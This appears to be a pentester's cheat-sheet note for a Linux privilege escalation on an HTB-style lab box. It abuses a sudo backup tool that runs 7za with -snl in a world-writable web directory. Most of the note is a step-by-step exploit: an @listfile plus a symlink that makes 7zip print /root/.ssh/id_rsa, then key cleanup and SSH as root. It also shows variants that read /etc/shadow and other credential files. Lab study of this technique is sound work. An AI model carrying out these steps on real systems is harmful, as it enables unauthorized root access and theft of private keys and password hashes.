7zip -snl Symlink Read — usage_management Privilege Escalation
Ctrl+F:
7za·-snl·@id_rsa·usage_management·/var/www/html· symlink · listfile
Pattern: A sudo or root cron tool chdirs into a world-writable directory (e.g. /var/www/html) and runs 7zip with -snl (store symlinks as links). You place a symlink to a protected file and an @listfile trick → 7zip reads and prints the target file contents into the archive output.
Lab reference: HTB-style usage box — sudo /usr/bin/usage_management → Project Backup.
External: HackTricks — 7z arbitrary file read
→ ln - symlinks · Archives - unzip 7z zip · Linux · SSH
📌 When to try
| Signal | Check |
|---|---|
| Writable web dir | ls -ld /var/www/html → drwxrwxrwx or your user can write |
| Sudo backup/menu tool | sudo -l · strings /usr/bin/SOME_tool | grep 7z |
7za + -snl in binary | Archive follows symlinks from CWD |
| Can’t sudo to root directly | Read /root/.ssh/id_rsa or /etc/shadow via backup output |
sudo -l
ls -ld /var/www/html/
strings /usr/bin/usage_management | grep -E '7za|chdir|/var/www'📌 The vulnerable command (from strings)
strings /usr/bin/usage_managementLook for:
chdir
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *| Flag | Meaning |
|---|---|
a | Append — add files to archive /var/backups/project.zip |
-tzip | Output format ZIP |
-snl | Store symlinks as links (follow/read link target during pack) |
-mmt | Multithreading |
-- * | All files in current directory after chdir |
Flow:
usage_management (sudo)
→ chdir /var/www/html
→ 7za packs everything in CWD into project.zip
→ symlinks you created get followed → arbitrary file read
📌 Exploit steps (read root SSH key)
1 — Confirm writable directory
ls -ld /var/www/html/
# drwxrwxrwx 4 root xander 4096 ... /var/www/html/
cd /var/www/html2 — Create @listfile + symlink
7zip listfiles start with @. The file @id_rsa tells 7zip: “read the list of files to compress from the file named id_rsa”. Because id_rsa is a symlink to /root/.ssh/id_rsa, 7zip reads the key contents instead of a list of paths.
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
ls -la
# @id_rsa
# id_rsa -> /root/.ssh/id_rsa| File | Role |
|---|---|
@id_rsa | Listfile marker — points 7zip at id_rsa |
id_rsa | Symlink → /root/.ssh/id_rsa |
3 — Trigger backup as root
sudo /usr/bin/usage_management
# Choose: Project Backup (option 1 in lab)Output includes the private key lines (often with : No more files suffix per line):
-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
...
-----END OPENSSH PRIVATE KEY----- : No more files4 — Solution: use the key on Kali
Clean the key — strip : No more files and fix line breaks:
# Paste into id_rsa on Kali, or sed cleanup:
sed 's/ : No more files//g' raw_key.txt > id_rsa
chmod 600 id_rsaVerify format:
head -1 id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
ssh-keygen -y -f id_rsa # should print public key if validSSH as root:
ssh -i id_rsa root@TARGET→ SSH · SSH Errors
📌 Other files to read (same technique)
Replace symlink target:
ln -sf /etc/shadow id_rsa
ln -sf /root/.bash_history id_rsa
ln -sf /var/lib/mysql/.my.cnf id_rsaThen trigger the same backup command.
📌 Detection / enum checklist
# Writable dirs commonly archived
ls -ld /var/www/html /var/www /tmp /opt/*/uploads 2>/dev/null
# Find 7z in sudo/cron
sudo -l
grep -r 7z /etc/cron* 2>/dev/null
strings /usr/bin/* 2>/dev/null | grep -E '7za|7z .*-snl'
# pspy — watch for chdir + 7za (no root needed)
./pspy64 -pf -i 1000→ pspy · Privesc Tools
📌 Variants (same idea, different tools)
| Trigger | Writable dir | Reference |
|---|---|---|
sudo usage_management | /var/www/html | This note |
| Root cron + 7zip | /var/www/html | ln - symlinks |
| tar checkpoint | current dir wildcard | tar |
| mysqldump in same tool | N/A — separate option reads DB | strings for other menu paths |
Same tool may also run:
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql— different privesc path (DB creds), not symlink-based.
📌 Troubleshooting
| Problem | Fix |
|---|---|
| No key in output | Confirm @id_rsa + symlink names · re-run backup option |
Permission denied in web dir | Check ls -ld — need write on directory |
| Garbled key | Remove : No more files suffix · ensure BEGIN/END lines intact |
ssh -i rejects key | chmod 600 · OpenSSH format vs PEM — try ssh-keygen -p |
| Tool not found | strings other binaries · grep cron for 7za |
📌 Quick cheat sheet
ls -ld /var/www/html
strings /usr/bin/usage_management | grep 7za
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
sudo /usr/bin/usage_management # Project Backup
# clean key → chmod 600 → ssh -i id_rsa root@TARGET📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'→ Linux > 📌 1) Basic Manual Enumeration